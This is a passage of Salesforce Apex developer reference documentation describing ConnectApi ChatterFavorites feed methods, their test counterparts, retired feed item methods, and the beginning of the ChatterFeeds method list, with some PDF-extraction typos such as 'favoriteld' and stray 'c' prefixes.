### getFeedElements(String communityId, String subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Get a page of sorted feed elements for a favorite. Include no more than the specified number of comments per feed element.

API Version

31.0

Requires Chatter

Yes

Signature

`public static ConnectApi.FeedElementPage getFeedElements(String communityId, String subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)`
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`subjectId`
Type: String
The ID of the context user or the alias me.

`favoriteId`
Type: String
The ID of a favorite.

`recentCommentCount`
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

`elementsPerBundle`
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

`pageParam`
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

`sortParam`
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetFeedElements(communityId, subjectId, favoriteld, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam, result)

Testing ConnectApi Code

updateFavorite(communityId, subjectId, favoriteld, updateLastViewDate)

Update the last view date of the saved search or list view feed to the current system time.

API Version

28.0

Requires Chatter

Yes

Signature

public static ConnectApi.FeedFavorite updateFavorite(String communityId, String subjectId, String favoriteld, Boolean updateLastViewDate)

Parameters

communityId

Type: String

Use the ID for an Experience Cloud site, internal, or null.

subjectId

Type: String

The ID of the context user or the alias me.

favoriteld

Type: String

The ID of a favorite.

updateLastViewDate

Type: Boolean

Specify whether to update the last view date of the specified favorite to the current system time (true) or not (false).

Return Value

Type: ConnectApi.FeedFavorite
ChatterFavorites Test Methods

The following are the test methods for ChatterFavorites. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

IN THIS SECTION:

setTestGetFeedElements(communityId, subjectId, favoriteId, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElements(communityId, subjectId, favoriteId, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElements(communityId, subjectId, favoriteId, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature

public static Void setTestGetFeedElements(String communityId, String subjectId, String favoriteId, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

favoriteId
Type: String
The ID of a favorite.

result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
    getFeedElements(communityId, subjectId, favoriteId)
    Testing ConnectApi Code

```java
public static Void setTestGetFeedElements(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```

Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
```java
public static Void setTestGetFeedElements(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```

Parameters

```java
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
```

```java
subjectId
  Type: String
  The ID of the context user or the alias me.
```

```java
favoriteId
  Type: String
  The ID of a favorite.
```

```java
pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
```

```java
pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
```

```java
sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
```

1071
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
  getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle, String pageParam, Integer pageSize, ConnectApi.FeedSortOrdersortParam, ConnectApi.FeedElementPageresult)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

favoriteId
  Type: String
The ID of a favorite.

**recentCommentCount**

Type: `Integer`

Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**

Type: `Integer`

Maximum number of feed elements per bundle. The default and maximum value is 10.

**pageParam**

Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**

Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**

Type: `ConnectApi.FeedSortOrder`

Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- Relevance—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**result**

Type: `ConnectApi.FeedElementPage`

The object containing test data.

Return Value

Type: Void

SEE ALSO:

- `getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)`
- Testing ConnectApi Code

**Retired ChatterFavorites Methods**

The following methods for `ChatterFavorites` are retired.
IN THIS SECTION:

- `getFeedItems(communityId, subjectId, favoriteId)`
  Get the first page of feed items for a favorite.

- `getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)`
  Get a page of sorted feed items for a favorite.

- `getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)`
  Get a page of sorted feed items for a favorite. Include no more than the specified number of comments per feed item.

- `setTestGetFeedItems(communityId, subjectId, favoriteId, result)`
  Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

---

**getFeedItems(communityId, subjectId, favoriteId)**

Get the first page of feed items for a favorite.

**API Version**

28.0–31.0

**Important:** In version 32.0 and later, use `getFeedElements(communityId, subjectId, favoriteId)`.

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId, String favoriteId)
```

**Parameters**

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `subjectId`
  Type: `String`
  The ID of the context user or the alias `me`.

- `favoriteId`
  Type: `String`
The ID of a favorite.

Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetFeedItems(communityId, subjectId, favoriteId, result)`

Testing ConnectApi Code

```java
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Get a page of sorted feed items for a favorite.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use `getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)`.

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `subjectId`
  Type: `String`
  The ID of the context user or the alias `me`.

- `favoriteId`
  Type: `String`
  The ID of a favorite.

- `pageParam`
  Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: `Integer`

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`

Values are:
- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- `Relevance`—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**Return Value**
Type: `ConnectApi.FeedItemPage`

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- `setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)`

**Testing ConnectApi Code**

```java
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
```

Get a page of sorted feed items for a favorite. Include no more than the specified number of comments per feed item.

**API Version**
29.0–31.0

**Important:** In version 32.0 and later, use `getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)`. 

**Requires Chatter**
Yes
Signature

```java
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId, String favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize, FeedSortOrder sortParam)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **subjectId**
  - Type: String
  - The ID of the context user or the alias me.

- **favoriteId**
  - Type: String
  - The ID of a favorite.

- **recentCommentCount**
  - Type: Integer
  - The maximum number of comments to return with each feed item. The default value is 3.

- **pageParam**
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **sortParam**
  - Type: ConnectApi.FeedSortOrder
  - Values are:
    - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
    - CreatedDateDesc—Sorts by most recent creation date.
    - LastModifiedDateDesc—Sorts by most recent activity.
    - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
    - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  - Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

Return Value

Type: ConnectApi.FeedItemPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

`setTestGetFeedItems(communityId, subjectId, favoriteld, recentCommentCount, pageParam, pageSize, sortParam, result)`

Testing ConnectApi Code

`setTestGetFeedItems(communityId, subjectId, favoriteld, result)`

Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version

28.0–31.0

Signature

```java
public static Void setTestGetFeedItems(String communityId, String subjectId, String favoriteld, ConnectApi.FeedItemPage result)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **subjectId**
  Type: `String`
  The ID of the context user or the alias `me`.

- **favoriteld**
  Type: `String`
  The ID of a favorite.

- **result**
  Type: `ConnectApi.FeedItemPage`
  The object containing test data.

Return Value

Type: `Void`

SEE ALSO:

`getFeedItems(communityId, subjectId, favoriteld)`

Testing ConnectApi Code
**setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)**

Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**

28.0–31.0

**Signature**

```java
public static Void setTestGetFeedItems(String communityId, String subjectId, String favoriteId, String pageParam, Integer pageSize, FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **subjectId**
  - Type: `String`
  - The ID of the context user or the alias `me`.

- **favoriteId**
  - Type: `String`
  - The ID of a favorite.

- **pageParam**
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **sortParam**
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
    - `CreatedDateDesc`—Sorts by most recent creation date.
    - `LastModifiedDateDesc`—Sorts by most recent activity.
    - `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
    - `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

**result**

Type: `ConnectApi.FeedItemPage`

The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

- `getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)`
- Testing ConnectApi Code

### `setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam, result)`

Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItems` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**

29.0–31.0

**Signature**

```java
public static Void setTestGetFeedItems(String communityId, String subjectId, String favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize, FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
```

**Parameters**

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **subjectId**
  Type: `String`
  The ID of the context user or the alias `me`.

- **favoriteId**
  Type: `String`
  The ID of a favorite.

- **recentCommentCount**
  Type: `Integer`
  The maximum number of comments to return with each feed item. The default value is 3.

- **pageParam**
  Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`  
Type: `Integer`  
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`  
Type: `ConnectApi.FeedSortOrder`  
Values are:

- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

`result`  
Type: `ConnectApi.FeedItemPage`  
The object containing test data.

Return Value  
Type: Void

SEE ALSO:  
`getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)`  
`Testing ConnectApi Code`

### ChatterFeeds Class

Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and vote on polls.

### Namespace

`ConnectApi`

### Usage

In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of `feed elements`. The abstract class `ConnectApi.FeedElement` was introduced as a parent class to the existing `ConnectApi.FeedItem` class. The subset of properties that feed elements share was moved into the `ConnectApi.FeedElement` class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Connect in Apex. For detailed information, see Feeds and Feed Elements.

**Important:** Feed item methods aren’t available in version 32.0. In version 32.0 and later, use feed element methods.

Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

**Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

### ChatterFeeds Methods

The following are methods for `ChatterFeeds`. All methods are static.

**IN THIS SECTION:**

- `createStream(communityId, streamInput)`
  Create a Chatter feed stream.
- `deleteComment(communityId, commentId)`
  Delete a comment.
- `deleteFeedElement(communityId, feedElementId)`
  Delete a feed element.
- `deleteLike(communityId, likeId)`
  Delete a like on a comment or post.
- `deleteStream(communityId, streamId)`
  Delete a Chatter feed stream.
- `getComment(communityId, commentId)`
  Get a comment.
- `getCommentBatch(communityId, commentIds)`
  Get a list of comments.
- `getCommentInContext(communityId, commentId, pageSize)`
  Get a threaded comment in the context of its parent comments and post.
- `getCommentsForFeedElement(communityId, feedElementId)`
  Get comments for a feed element.
- `getCommentsForFeedElement(communityId, feedElementId, threadedCommentsCollapsed)`
  Get comments in a threaded style for a feed element.
- `getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)`
  Get a page of comments for a feed element.
- `getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize, threadedCommentsCollapsed)`
  Get a page of comments in a threaded style for a feed element.
getCommentsForFeedElement(communityId, feedElementId, threadedCommentsCollapsed, sortParam)
Get sorted comments in a threaded style for a feed element.

getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize, threadedCommentsCollapsed, sortParam)
Get a page of sorted comments in a threaded style for a feed element.

getCommentsForFeedElement(communityId, feedElementId, sortParam)
Get sorted comments for a feed element.

getCommentsForFeedElement(communityId, feedElementId, sortParam, threadedCommentsCollapsed)
Get sorted comments in a threaded style for a feed element.

getExtensions(communityId, pageParam, pageSize)
Get extensions.

getFeed(communityId, feedType)
Get a feed.

getFeed(communityId, feedType, sortParam)
Get a sorted feed.

getFeed(communityId, feedType, subjectId)
Get a feed for a record or user.

getFeed(communityId, feedType, subjectId, sortParam)
Get a sorted feed for a record or user.

getFeedDirectory(String)
Get a list of all feeds available to the context user.

getFeedElement(communityId, feedElementId)
Get a feed element.

getFeedElement(communityId, feedElementId, commentSort)
Get a feed element with sorted comments.

getFeedElement(communityId, feedElementId, threadedCommentsCollapsed)
Get a feed element and its comments in a threaded style.

getFeedElement(communityId, feedElementId, threadedCommentsCollapsed, commentSort)
Get a feed element and its sorted comments in a threaded style.

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)
Get a feed element with the specified number of elements per bundle including no more than the specified number of comments per feed element.

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, threadedCommentsCollapsed)
Get a feed element with its comments in a threaded style with the specified number of elements per bundle and comments per feed element.

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, threadedCommentsCollapsed, commentSort)
Get a feed element with its sorted comments in a threaded style with the specified number of elements per bundle and comments per feed element.

getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle, commentSort)
Get a feed element with the specified number of elements per bundle including no more than the specified number of sorted comments per feed element.
getFeedElementBatch(communityId, feedElementIds)
Get a list of feed elements.

cgetFeedElementPoll(communityId, feedElementId)
Get the poll associated with a feed element.

cgetFeedElementsFromBundle(communityId, feedElementId)
Get feed elements from a bundle.

cgetFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize, elementsPerBundle, recentCommentCount)
Get a page of feed elements from a bundle. Specify the number of elements per bundle and include no more than the specified number of comments per feed element.

cgetFeedElementsFromFeed(communityId, feedType)

cgetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Get a page of sorted feed elements from the Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview feeds. Each feed element contains no more than the specified number of comments.

cgetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Get a page of sorted and filtered feed elements from the Home feed. Each feed element contains no more than the specified number of comments.

cgetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, threadedCommentsCollapsed)
Get a page of filtered and sorted feed elements with comments in a threaded style from the Home feed. Each feed element contains no more than the specified number of comments.

cgetFeedElementsFromFeed(communityId, feedType, subjectId)
Get feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview for a user or record.

cgetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Get a page of sorted feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

cgetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Get a page of sorted feed elements from any feed other than Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview. Each feed element includes no more than the specified number of comments.

cgetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)
Get a page of sorted feed elements from a record feed. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

cgetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Get a page of sorted and filtered feed elements from the UserProfile feed.
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)
Get a page of feed elements with comments in a threaded style from the UserProfile feed.

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, customFilter)
Get a page of sorted and filtered feed elements from the case feed.

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)
Get a page of sorted feed elements from a record feed. Specify the number of elements per bundle and include no more than the specified number of comments per feed element. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter)
Get a page of sorted and filtered feed elements from a record feed. Specify the number of elements per bundle and include no more than the specified number of comments per feed element. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter, threadedCommentsCollapsed)
Get a page of sorted and filtered feed elements with comments in a threaded style for a record feed. Specify the number of elements per bundle and include no more than the specified number of comments per feed element. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter)
Get a page of sorted and filtered feed elements from a case feed.

getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince)
Get a page of feed elements from a feed filtered by a key prefix for a user. Include only feed elements that have been updated since the time specified in the updatedSince parameter.

getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed elements from the Company, DirectMessageModeration, Home, and Moderation feeds. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified number of comments.
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
Get a page of filtered feed elements from the Home feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified number of comments.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed elements from the Files, Groups, News, People, and Record feeds. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified number of comments.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly)
Get a page of feed elements from a record feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, filter)
Get a page of filtered feed elements from a UserProfile feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, customFilter)
Get a page of filtered feed elements from a case feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly)
Get a page of feed elements from a record feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Specify the maximum number of feed elements in a bundle and whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly, filter)
Get a page of filtered feed elements from a record feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Specify the maximum number of feed elements in a bundle and whether to return feed elements posted by internal (non-Experience Cloud site) users only.

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly, customFilter)
Get a page of filtered feed elements from a case feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter.

getFeedWithFeedElements(communityId, feedType, pageSize)
Get information about a feed and a page of feed elements from the feed.

getFeedWithFeedElements(communityId, feedType, pageSize, recentCommentCount)
Get a page of information about the feed and the feed elements with the specified number of comments per feed element from the feed.

getFilterFeed(communityId, subjectId, keyPrefix)
Get a feed filtered by a key prefix for a user.

getFilterFeed(communityId, subjectId, keyPrefix, sortParam)
Get a sorted feed filtered by a key prefix for a user.
getFilterFeedDirectory(communityId, subjectId)
Get a feed directory of filter feeds available to the context user.

getLike(communityId, likeld)
Get a like on a post or comment.

getLikesForComment(communityId, commentId)
Get likes for a comment.

getLikesForComment(communityId, commentId, pageParam, pageSize)
Get a page of likes for a comment.

getLikesForFeedElement(communityId, feedElementId)
Get likes for a feed element.

getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of likes for a feed element.

getLinkMetadata(communityId, urls)
Get link metadata for URLs.

getPinnedFeedElementsFromFeed(communityId, feedType, subjectId)
Get pinned feed elements from a group or topic feed.

getReadByForFeedElement(communityId, feedElementId)
Get information about who read a feed element and when.

getReadByForFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of information about who read a feed element and when.

getRelatedPosts(communityId, feedElementId, filter, maxResults)
Get posts related to the context feed element.

getStream(communityId, streamId)
Get information about a Chatter feed stream.

getStream(communityId, streamId, globalScope)
